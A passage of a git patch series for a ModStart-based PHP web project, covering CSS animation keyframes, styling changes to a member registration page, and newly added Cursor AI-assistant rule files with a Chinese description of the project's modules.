0); + transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomOutDown { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + to { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomOutDown { + -webkit-animation-name: zoomOutDown; + animation-name: zoomOutDown +} + +@-webkit-keyframes zoomOutLeft { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); + transform: scale(.1) translate3d(-2000px, 0, 0); + -webkit-transform-origin: left center; + transform-origin: left center + } +} + +@keyframes zoomOutLeft { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: scale(.1) translate3d(-2000px, 0, 0); + transform: scale(.1) translate3d(-2000px, 0, 0); + -webkit-transform-origin: left center; + transform-origin: left center + } +} + +.zoomOutLeft { + -webkit-animation-name: zoomOutLeft; + animation-name: zoomOutLeft +} + +@-webkit-keyframes zoomOutRight { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: scale(.1) translate3d(2000px, 0, 0); + transform: scale(.1) translate3d(2000px, 0, 0); + -webkit-transform-origin: right center; + transform-origin: right center + } +} + +@keyframes zoomOutRight { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0); + transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0) + } + to { + opacity: 0; + -webkit-transform: scale(.1) translate3d(2000px, 0, 0); + transform: scale(.1) translate3d(2000px, 0, 0); + -webkit-transform-origin: right center; + transform-origin: right center + } +} + +.zoomOutRight { + -webkit-animation-name: zoomOutRight; + animation-name: zoomOutRight +} + +@-webkit-keyframes zoomOutUp { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + to { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +@keyframes zoomOutUp { + 40% { + opacity: 1; + -webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0); + -webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19); + animation-timing-function: cubic-bezier(.55, .055, .675, .19) + } + to { + opacity: 0; + -webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); + transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; + -webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1); + animation-timing-function: cubic-bezier(.175, .885, .32, 1) + } +} + +.zoomOutUp { + -webkit-animation-name: zoomOutUp; + animation-name: zoomOutUp +} + +@-webkit-keyframes slideInDown { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes slideInDown { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.slideInDown { + -webkit-animation-name: slideInDown; + animation-name: slideInDown +} + +@-webkit-keyframes slideInLeft { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes slideInLeft { + from { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.slideInLeft { + -webkit-animation-name: slideInLeft; + animation-name: slideInLeft +} + +@-webkit-keyframes slideInRight { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes slideInRight { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.slideInRight { + -webkit-animation-name: slideInRight; + animation-name: slideInRight +} + +@-webkit-keyframes slideInUp { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +@keyframes slideInUp { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + visibility: visible + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.slideInUp { + -webkit-animation-name: slideInUp; + animation-name: slideInUp +} + +@-webkit-keyframes slideOutDown { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } +} + +@keyframes slideOutDown { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0) + } +} + +.slideOutDown { + -webkit-animation-name: slideOutDown; + animation-name: slideOutDown +} + +@-webkit-keyframes slideOutLeft { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +@keyframes slideOutLeft { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +.slideOutLeft { + -webkit-animation-name: slideOutLeft; + animation-name: slideOutLeft +} + +@-webkit-keyframes slideOutRight { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +@keyframes slideOutRight { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +.slideOutRight { + -webkit-animation-name: slideOutRight; + animation-name: slideOutRight +} + +@-webkit-keyframes slideOutUp { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } +} + +@keyframes slideOutUp { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + to { + visibility: hidden; + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0) + } +} + +.slideOutUp { + -webkit-animation-name: slideOutUp; + animation-name: slideOutUp +} + +.animated { + -webkit-animation-duration: 1s; + animation-duration: 1s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both +} + +.animated.infinite { + -webkit-animation-iteration-count: infinite; + animation-iteration-count: infinite +} + +.animated.delay-1s { + -webkit-animation-delay: 1s; + animation-delay: 1s +} + +.animated.delay-2s { + -webkit-animation-delay: 2s; + animation-delay: 2s +} + +.animated.delay-3s { + -webkit-animation-delay: 3s; + animation-delay: 3s +} + +.animated.delay-4s { + -webkit-animation-delay: 4s; + animation-delay: 4s +} + +.animated.delay-5s { + -webkit-animation-delay: 5s; + animation-delay: 5s +} + +.animated.fast { + -webkit-animation-duration: .8s; + animation-duration: .8s +} + +.animated.faster { + -webkit-animation-duration: .5s; + animation-duration: .5s +} + +.animated.slow { + -webkit-animation-duration: 2s; + animation-duration: 2s +} + +.animated.slower { + -webkit-animation-duration: 3s; + animation-duration: 3s +} + +@media (print), +(prefers-reduced-motion:reduce) { + .animated { + -webkit-animation-duration: 1ms !important; + animation-duration: 1ms !important; + -webkit-transition-duration: 1ms !important; + transition-duration: 1ms !important; + -webkit-animation-iteration-count: 1 !important; + animation-iteration-count: 1 !important + } +} + +body, +html { + background: var(--color-body-bg); + color: var(--color-text) +} + +[v-cloak] { + display: none +} + +.ub-lister-table-container { + background: #fff; + padding: .5rem; + border-radius: .2rem +} + +.ub-lister-table-container .toolbox-container { + float: right +} + +.ub-lister-table-container .table-addition-container:has(*) { + margin-bottom: .5rem +} + +.ub-lister-table-container .table-container { + width: 100% +} + +.ub-lister-table-container .page-container .layui-laypage { + margin: .5rem 0 .3rem 0 +} + +.ub-lister-table-container .page-container .layui-laypage span { + background: 0 0 +} + +.ub-lister-table-container .page-container .layui-laypage .layui-laypage-spr { + background: #fff +} + +.ub-upload-button { + overflow: hidden; + position: relative; + height: 1.6rem +} + +.ub-upload-button.flat { + margin: 0 auto +} + +.ub-upload-button.flat .webuploader-container { + display: block +} + +.ub-upload-button.flat .webuploader-container .webuploader-pick { + display: block +} + +.ub-upload-button.queue { + overflow: auto; + height: auto +} + +.ub-upload-button.queue .webuploader-list { + position: static; + max-height: 10rem; + overflow-y: auto; + border: 1px solid var(--color-body-line); + background: var(--color-body-bg); + padding: .25rem +} + +.ub-upload-button.queue .webuploader-list::-webkit-scrollbar-track { + background-color: var(--color-scrollbar-bg); + border: none +} + +.ub-upload-button.queue .webuploader-list::-webkit-scrollbar { + width: .25rem; + height: .25rem; + background-color: var(--scolor-scrollbar-thumb) +} + +.ub-upload-button.queue .webuploader-list::-webkit-scrollbar-thumb { + border-radius: .5rem; + background-color: var(--scolor-scrollbar-thumb) +} + +.ub-upload-button.queue .webuploader-list>li { + margin-bottom: .5rem; + padding: .25rem +} + +.ub-upload-button.queue .webuploader-list>li:last-child { + margin-bottom: 0 +} + +.ub-upload-button.queue .webuploader-list>li .progress-box { + height: auto +} + +.ub-upload-button.queue .webuploader-list>li .progress-info { + display: block +} + +.ub-upload-button .webuploader-pick { + display: inline-block +} + +.ub-upload-button .webuploader-pick-hover .btn { + outline-color: var(--color-primary); + color: var(--color-primary) +} + +.ub-upload-button .webuploader-container { + display: inline-block +} + +.ub-upload-button .webuploader-list { + position: absolute; + bottom: 1px; + left: 2px; + right: 2px; + border: none; + padding: 0 +} + +.ub-upload-button .webuploader-list>li { + padding: 0; + border: 0 +} + +.ub-upload-button .webuploader-list>li .progress-info { + display: none +} + +@media screen and (max-width:40rem) { + body>:not(.ub-panel-dialog) .ub-form .line { + padding: .5rem + } + body>:not(.ub-panel-dialog) .ub-form .line .label { + float: none; + margin: 0; + width: 100%; + text-align: left; + line-height: inherit !important; + padding-bottom: .1rem + } +} + +.ub-field-cascade-group.cascade-group-hide { + visibility: hidden; + height: 0; + width: 100%; + overflow: hidden +} + +.ub-status-text { + display: inline-block; + margin-right: .5rem +} + +.ub-text-ajax-request { + display: inline-block; + margin-right: .5rem +} + +.ub-text-dialog-request { + display: inline-block; + margin-right: .5rem +} + +.ub-text-action { + display: inline-block; + margin-right: .5rem +} + +.ub-text-link { + display: inline-block; + margin-right: .5rem +} + +.ub-button-ajax-request { + display: inline-block +} + +.ub-button-dialog-request { + display: inline-block +} \ No newline at end of file From 39034741ddad586d1e6346c31c52e465b4422a75 Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 17 May 2025 21:37:15 +0800 Subject: [PATCH 14/68] init --- module/Member/View/pc/register.blade.php | 69 ++++++++++++++---------- 1 file changed, 41 insertions(+), 28 deletions(-) diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index 50299927..1f24c99a 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -685,6 +685,17 @@ color: #666; } + /* 表单字段通用样式 */ + .field > label { + width: 120px; + color: #333; + font-size: 14px; + line-height: 40px; + flex-shrink: 0; + text-align: left; + padding-right: 15px; + } + /* 运动标签样式 */ .sports-tags { padding: 15px; @@ -702,7 +713,7 @@ flex-wrap: wrap; gap: 10px; } - .tag { + .tags label.tag { display: inline-flex; align-items: center; padding: 8px 16px; @@ -714,20 +725,24 @@ font-size: 14px; color: #666; position: relative; + width: auto; + text-align: left; + line-height: normal; + flex-shrink: 1; } - .tag:hover { + .tags label.tag:hover { border-color: #007bff; color: #007bff; } - .tag.active { + .tags label.tag.active { background: #e6f3ff; color: #007bff; border-color: #007bff; } - .tag input[type="checkbox"] { + .tags label.tag input[type="checkbox"] { display: none; } - .tag.active::after { + .tags label.tag.active::after { content: ''; position: absolute; right: 8px; @@ -739,26 +754,11 @@ border-radius: 50%; border: 2px solid #fff; } - .tag.active span { + .tags label.tag.active span { padding-right: 24px; } - .expert-welcome { - margin-bottom: 30px; - padding: 20px; - background: #f8f9fa; - border-radius: 8px; - } - .expert-welcome h3 { - font-size: 18px; - color: #333; - margin-bottom: 10px; - } - .expert-welcome p { - font-size: 14px; - color: #666; - line-height: 1.6; - } + /* 大神库选择样式 */ .expert-database { padding: 15px; background: #f8f9fa; @@ -767,29 +767,42 @@ .expert-database-title { font-size: 16px; font-weight: bold; - margin-bottom: 15px; color: #333; + margin-bottom: 15px; + text-align: center; } .expert-database-list { display: flex; flex-direction: column; gap: 10px; + width: 100%; } - .database-item { + .expert-database-list label.database-item { display: flex; - align-items: center; + align-items: flex-start; padding: 10px; background: #fff; border: 1px solid #e0e0e0; border-radius: 4px; cursor: pointer; transition: all 0.3s; + width: 100%; + text-align: left; + line-height: normal; + font-weight: normal; } - .database-item:hover { + .expert-database-list label.database-item:hover { border-color: #007bff; } - .database-item input[type="checkbox"] { - margin-right: 10px; + .expert-database-list label.database-item input[type="checkbox"] { + margin: 3px 10px 0 0; + flex-shrink: 0; + } + .expert-database-list label.database-item span { + flex: 1; + min-width: 0; + font-size: 14px; + color: #333; } .certificate-upload { padding: 15px; From 3392e7c3b2132d4c9c7137cbf8fe31302cf94e46 Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 17 May 2025 21:50:16 +0800 Subject: [PATCH 15/68] init --- module/Member/View/pc/register.blade.php | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index 1f24c99a..b0771a01 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -227,7 +227,7 @@ -
@@ -413,7 +413,7 @@ -
From da385e0d2c8304191b1d68b381f017275882747b Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 31 May 2025 21:32:42 +0800 Subject: [PATCH 17/68] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=A1=B9=E7=9B=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .cursor/rules/core.mdc | 18 ++ .cursor/rules/memory-bank.mdc | 158 ++++++++++ .cursor/rules/project_structure.mdc | 290 ++++++++++++++++++ .vscode/settings.json | 2 +- docs/database/tables/admin_log.md | 12 + docs/database/tables/admin_log_data.md | 10 + .../tables/admin_manager_department.md | 10 + docs/database/tables/admin_manager_user.md | 20 ++ docs/database/tables/admin_role.md | 10 + docs/database/tables/admin_role_rule.md | 15 + docs/database/tables/admin_upload.md | 19 ++ docs/database/tables/admin_upload_category.md | 18 ++ docs/database/tables/admin_user.md | 20 ++ docs/database/tables/admin_user_role.md | 16 + .../tables/aigc_base_resource_package.md | 19 ++ .../tables/aigc_base_user_resource.md | 14 + docs/database/tables/banner.md | 11 + docs/database/tables/blog.md | 34 ++ docs/database/tables/blog_category.md | 15 + docs/database/tables/blog_comment.md | 18 ++ docs/database/tables/blog_message.md | 16 + docs/database/tables/config.md | 15 + docs/database/tables/data.md | 15 + docs/database/tables/data_temp.md | 17 + docs/database/tables/member_card.md | 16 + docs/database/tables/member_data_statistic.md | 9 + docs/database/tables/member_login_log.md | 19 ++ docs/database/tables/member_meta.md | 14 + docs/database/tables/member_user.md | 43 +++ docs/database/tables/member_vip_right.md | 12 + docs/database/tables/member_vip_set.md | 21 ++ docs/database/tables/nav.md | 12 + docs/database/tables/partner.md | 11 + docs/database/tables/vendor.md | 14 + docs/database/tables/visit_statistic.md | 15 + memory-bank/activeContext.md | 23 ++ memory-bank/productContext.md | 18 ++ memory-bank/progress.md | 22 ++ memory-bank/projectbrief.md | 19 ++ memory-bank/systemPatterns.md | 22 ++ memory-bank/techContext.md | 25 ++ .../Blog/Member/Controller/AuthController.php | 158 ++++++++-- module/Member/View/pc/register.blade.php | 18 +- 43 files changed, 1253 insertions(+), 30 deletions(-) create mode 100644 .cursor/rules/core.mdc create mode 100644 .cursor/rules/memory-bank.mdc create mode 100644 .cursor/rules/project_structure.mdc create mode 100644 docs/database/tables/admin_log.md create mode 100644 docs/database/tables/admin_log_data.md create mode 100644 docs/database/tables/admin_manager_department.md create mode 100644 docs/database/tables/admin_manager_user.md create mode 100644 docs/database/tables/admin_role.md create mode 100644 docs/database/tables/admin_role_rule.md create mode 100644 docs/database/tables/admin_upload.md create mode 100644 docs/database/tables/admin_upload_category.md create mode 100644 docs/database/tables/admin_user.md create mode 100644 docs/database/tables/admin_user_role.md create mode 100644 docs/database/tables/aigc_base_resource_package.md create mode 100644 docs/database/tables/aigc_base_user_resource.md create mode 100644 docs/database/tables/banner.md create mode 100644 docs/database/tables/blog.md create mode 100644 docs/database/tables/blog_category.md create mode 100644 docs/database/tables/blog_comment.md create mode 100644 docs/database/tables/blog_message.md create mode 100644 docs/database/tables/config.md create mode 100644 docs/database/tables/data.md create mode 100644 docs/database/tables/data_temp.md create mode 100644 docs/database/tables/member_card.md create mode 100644 docs/database/tables/member_data_statistic.md create mode 100644 docs/database/tables/member_login_log.md create mode 100644 docs/database/tables/member_meta.md create mode 100644 docs/database/tables/member_user.md create mode 100644 docs/database/tables/member_vip_right.md create mode 100644 docs/database/tables/member_vip_set.md create mode 100644 docs/database/tables/nav.md create mode 100644 docs/database/tables/partner.md create mode 100644 docs/database/tables/vendor.md create mode 100644 docs/database/tables/visit_statistic.md create mode 100644 memory-bank/activeContext.md create mode 100644 memory-bank/productContext.md create mode 100644 memory-bank/progress.md create mode 100644 memory-bank/projectbrief.md create mode 100644 memory-bank/systemPatterns.md create mode 100644 memory-bank/techContext.md diff --git a/.cursor/rules/core.mdc b/.cursor/rules/core.mdc new file mode 100644 index 00000000..15174a3b --- /dev/null +++ b/.cursor/rules/core.mdc @@ -0,0 +1,18 @@ +--- +description: +globs: +alwaysApply: true +--- +## Core Rules + +You have two modes of operation: + +1. Plan mode - You will work with the user to define a plan, you will gather all the information you need to make the changes but will not make any changes +2. Act mode - You will make changes to the codebase based on the plan + +- You start in plan mode and will not move to act mode until the plan is approved by the user. +- You will print `# Mode: PLAN` when in plan mode and `# Mode: ACT` when in act mode at the beginning of each response. +- Unless the user explicity asks you to move to act mode, by typing `ACT` you will stay in plan mode. +- You will move back to plan mode after every response and when the user types `PLAN`. +- If the user asks you to take an action while in plan mode you will remind them that you are in plan mode and that they need to approve the plan first. +- When in plan mode always output the full updated plan in every response. \ No newline at end of file diff --git a/.cursor/rules/memory-bank.mdc b/.cursor/rules/memory-bank.mdc new file mode 100644 index 00000000..119a9c00 --- /dev/null +++ b/.cursor/rules/memory-bank.mdc @@ -0,0 +1,158 @@ +--- +description: +globs: +alwaysApply: true +--- +# Cursor's Memory Bank + +I am Cursor, an expert software engineer with a unique characteristic: my memory resets completely between sessions. This isn't a limitation - it's what drives me to maintain perfect documentation. After each reset, I rely ENTIRELY on my Memory Bank to understand the project and continue work effectively. I MUST read ALL memory bank files at the start of EVERY task - this is not optional. + +## Memory Bank Structure + +The Memory Bank consists of required core files and optional context files, all in Markdown format. Files build upon each other in a clear hierarchy: + +\```mermaid +flowchart TD + PB[projectbrief.md] --> PC[productContext.md] + PB --> SP[systemPatterns.md] + PB --> TC[techContext.md] + + PC --> AC[activeContext.md] + SP --> AC + TC --> AC + + AC --> P[progress.md] +\``` + +### Core Files (Required) +1. `projectbrief.md` + - Foundation document that shapes all other files + - Created at project start if it doesn't exist + - Defines core requirements and goals + - Source of truth for project scope + +2. `productContext.md` + - Why this project exists + - Problems it solves + - How it should work + - User experience goals + +3. `activeContext.md` + - Current work focus + - Recent changes + - Next steps + - Active decisions and considerations + +4. `systemPatterns.md` + - System architecture + - Key technical decisions + - Design patterns in use + - Component relationships + +5. `techContext.md` + - Technologies used + - Development setup + - Technical constraints + - Dependencies + +6. `progress.md` + - What works + - What's left to build + - Current status + - Known issues + +### Additional Context +Create additional files/folders within memory-bank/ when they help organize: +- Complex feature documentation +- Integration specifications +- API documentation +- Testing strategies +- Deployment procedures + +## Core Workflows + +### Plan Mode +\```mermaid +flowchart TD + Start[Start] --> ReadFiles[Read Memory Bank] + ReadFiles --> CheckFiles{Files Complete?} + + CheckFiles -->|No| Plan[Create Plan] + Plan --> Document[Document in Chat] + + CheckFiles -->|Yes| Verify[Verify Context] + Verify --> Strategy[Develop Strategy] + Strategy --> Present[Present Approach] +\``` + +### Act Mode +\```mermaid +flowchart TD + Start[Start] --> Context[Check Memory Bank] + Context --> Update[Update Documentation] + Update --> Rules[Update .cursor/rules if needed] + Rules --> Execute[Execute Task] + Execute --> Document[Document Changes] +\``` + +## Documentation Updates + +Memory Bank updates occur when: +1. Discovering new project patterns +2. After implementing significant changes +3. When user requests with **update memory bank** (MUST review ALL files) +4. When context needs clarification + +\```mermaid +flowchart TD + Start[Update Process] + + subgraph Process + P1[Review ALL Files] + P2[Document Current State] + P3[Clarify Next Steps] + P4[Update .cursor/rules] + + P1 --> P2 --> P3 --> P4 + end + + Start --> Process +\``` + +Note: When triggered by **update memory bank**, I MUST review every memory bank file, even if some don't require updates. Focus particularly on activeContext.md and progress.md as they track current state. + +## Project Intelligence (.cursor/rules) + +The .cursor/rules file is my learning journal for each project. It captures important patterns, preferences, and project intelligence that help me work more effectively. As I work with you and the project, I'll discover and document key insights that aren't obvious from the code alone. + +\```mermaid +flowchart TD + Start{Discover New Pattern} + + subgraph Learn [Learning Process] + D1[Identify Pattern] + D2[Validate with User] + D3[Document in .cursor/rules] + end + + subgraph Apply [Usage] + A1[Read .cursor/rules] + A2[Apply Learned Patterns] + A3[Improve Future Work] + end + + Start --> Learn + Learn --> Apply +\``` + +### What to Capture +- Critical implementation paths +- User preferences and workflow +- Project-specific patterns +- Known challenges +- Evolution of project decisions +- Tool usage patterns + +The format is flexible - focus on capturing valuable insights that help me work more effectively with you and the project. Think of .cursor/rules as a living document that grows smarter as we work together. + +REMEMBER: After every memory reset, I begin completely fresh. The Memory Bank is my only link to previous work. It must be maintained with precision and clarity, as my effectiveness depends entirely on its accuracy. \ No newline at end of file diff --git a/.cursor/rules/project_structure.mdc b/.cursor/rules/project_structure.mdc new file mode 100644 index 00000000..0c0cbda0 --- /dev/null +++ b/.cursor/rules/project_structure.mdc @@ -0,0 +1,290 @@ +--- +description: +globs: +alwaysApply: false +--- +项目的入口在[public/index.php](mdc:public/index.php)文件 + +### 模块说明 + +#### Blog 模块 + +负责博客相关的核心功能,包括: + +* 博客文章管理(发布、编辑、删除,支持图文、分类、标签、归档) +* 博客评论和留言管理 +* 博客分类管理 +* 博客设置(包括关于博主信息) +* 前台博客展示(列表、详情、分页、搜索、热门等) +* 后台管理界面 +* 可能还包括友情链接、主题切换、批量导入等功能。 + +#### Member 模块 + +通用用户系统,提供基础的用户管理功能,包括: + +* 用户注册(用户名、手机、邮箱) +* 用户登录(用户名密码、手机验证码) +* 找回密码(邮箱、手机) +* 绑定信息(手机、邮箱) +* 授权登录(开放式授权登录接口) +* 用户资产(钱包、积分) +* 用户分组和VIP管理 +* 后台管理界面 +* 可能还包括单点登录 (SSO)、OAuth 登录、消息发送等功能。 + +#### VisitStatistic 模块 + +提供网站访问记录和统计功能,包括: + +* 记录网站访问的 URL、IP、设备和 UserAgent +* 生成每日访问量 (PV) 和访客数 (UV) 统计报告 +* 在后台仪表盘展示访问统计图表 +* 提供详细访问记录和统计报告的后台界面 +* 可配置是否启用、历史数据保留天数、是否记录 UserAgent、是否忽略搜索引擎等。 + +#### Vendor 模块 + +提供各种通用功能和服务的集合,供其他模块使用。包括: + +* 服务提供者框架 +* 通用工具类(如缓存) +* 抽象接口和基础实现 +* 集成外部服务(如 OCR、邮件、短信) +* 后台组件扩展点 + +#### Site 模块 + +网站基础信息配置模块,用于配置网站的基本信息,包括: + +* 网站信息(Logo、名称、域名、关键词、描述等) +* 主题设置(主色调、主题选择、主题自定义设置) +* 备案信息(ICP、公安备案等) +* 联系信息(邮箱、电话、地址、二维码等) +* 其他配置(如存储节流映射) +* 联系客服页面 +* 后台管理界面 + +#### Partner 模块 + +友情链接管理模块,提供基于位置的友情链接管理功能,包括: + +* 友情链接管理(添加、编辑、删除、排序) +* 多位置支持 +* 独立页面展示 +* 多种展示形式(文字、图片) +* 提供便捷调用代码 +* 后台管理界面和功能设置 +* 支持位置注册 + +#### ShareJS 模块 + +一键分享模块,提供网页内容分享到社交媒体的功能,包括: + +* 支持多种社交媒体分享 +* 提供便捷的 Blade 模板调用方式 +* 可指定分享平台 + +#### ModuleStore 模块 + +模块市场模块,负责 ModStart 模块的管理和发现,包括: + +* 模块安装、升级、卸载、启用和禁用 +* 连接 ModStart 官方模块市场 +* 处理模块下载和本地文件操作 +* 版本兼容性检查 +* 提供模块配置界面 +* 后台管理界面 + +#### Banner 模块 + +通用轮播管理模块,提供多位置的轮播图片管理功能,支持图片、图文组合和视频轮播,包括: + +* 轮播管理(添加、编辑、删除、排序) +* 多位置支持 +* 多种内容类型(图片、图文、视频) +* 样式控制(背景色、圆角、容器等) +* 提供便捷调用代码 +* 后台管理界面 +* 支持位置注册 + +#### AigcBase 模块 + +AIGC 基础包,提供 AIGC 相关的基础框架和功能,包括: + +* AIGC 提供者框架(对话、图片、声音、视频) +* 支持集成不同的 AI 平台(智谱 AI, OpenAI 等) +* AIGC 任务管理(同步/异步任务) +* 密钥池管理 +* 配额管理集成 +* 应用提供者框架 +* 后台管理界面 + +#### AdminManager 模块 + +后台管理配置模块,提供后台管理角色、管理员、管理日志等功能,包括: + +* 管理员管理 +* 管理角色和权限 +* 管理日志 +* 系统升级功能 +* 模块授权相关功能 +* 服务器信息展示 +* 后台管理界面 + +### 视图文件说明(resources/views) + +**resources/views/theme/default/pc:** 默认主题在 PC 端使用的视图文件。 + +* `dialogPage.blade.php`: 用于在对话框中显示页面的 Blade 模板文件。 +* `frame.blade.php`: 定义了页面基本框架或布局的 Blade 模板文件。 +* **resources/views/theme/default/pc/share:** 存放默认主题 PC 端共享视图片段。 + * `header.blade.php`: 定义页面头部的 Blade 模板片段。 + * `footer.blade.php`: 定义页面底部的 Blade 模板片段。 +* **resources/views/theme/default/pc/member:** 存放默认主题 PC 端会员中心相关的视图文件。 + * `frame.blade.php`: 默认主题在 PC 端使用的会员中心主体布局文件。它定义了页面的整体结构,包括侧边导航(动态加载会员菜单)和主内容区域,具体的会员页面内容会插入到主内容区域。 + +**resources/views/errors:** 存放错误页面视图文件。 + +* `404.blade.php`: 用于显示"404 页面未找到"错误。 +* `500.blade.php`: 用于显示"500 服务器内部错误"。 + +### 路由说明 (routes) + +`routes` 目录用于定义应用程序的路由,将不同的 URL 请求映射到处理代码。 + +* `web.php`: 定义处理 Web 请求的路由,通常经过 `web` 中间件组,提供会话和 CSRF 保护等。 + +### 会员模块视图文件说明 (module/Member/view) + +`module/Member/view` 目录存放会员模块相关的视图文件。 + +**module/Member/view/pc:** 会员模块在 PC 端使用的视图文件,包括注册、登录、找回密码、OAuth 授权以及会员中心不同功能的页面。 + +* `register.blade.php`: 用户注册页面。 +* `loginPhone.blade.php`: 使用手机号登录页面。 +* `registerPhoneDialog.blade.php`: 手机号注册的对话框模板。 +* `retrieve.blade.php`: 找回密码的入口页面。 +* `retrieveEmail.blade.php`: 通过邮箱找回密码的页面。 +* `retrievePhone.blade.php`: 通过手机号找回密码的页面。 +* `retrieveReset.blade.php`: 重设密码的页面。 +* `oauthBackAndClose.blade.php`: OAuth 授权后返回并关闭页面的模板。 +* `oauthBind.blade.php`: OAuth 账号绑定页面。 +* 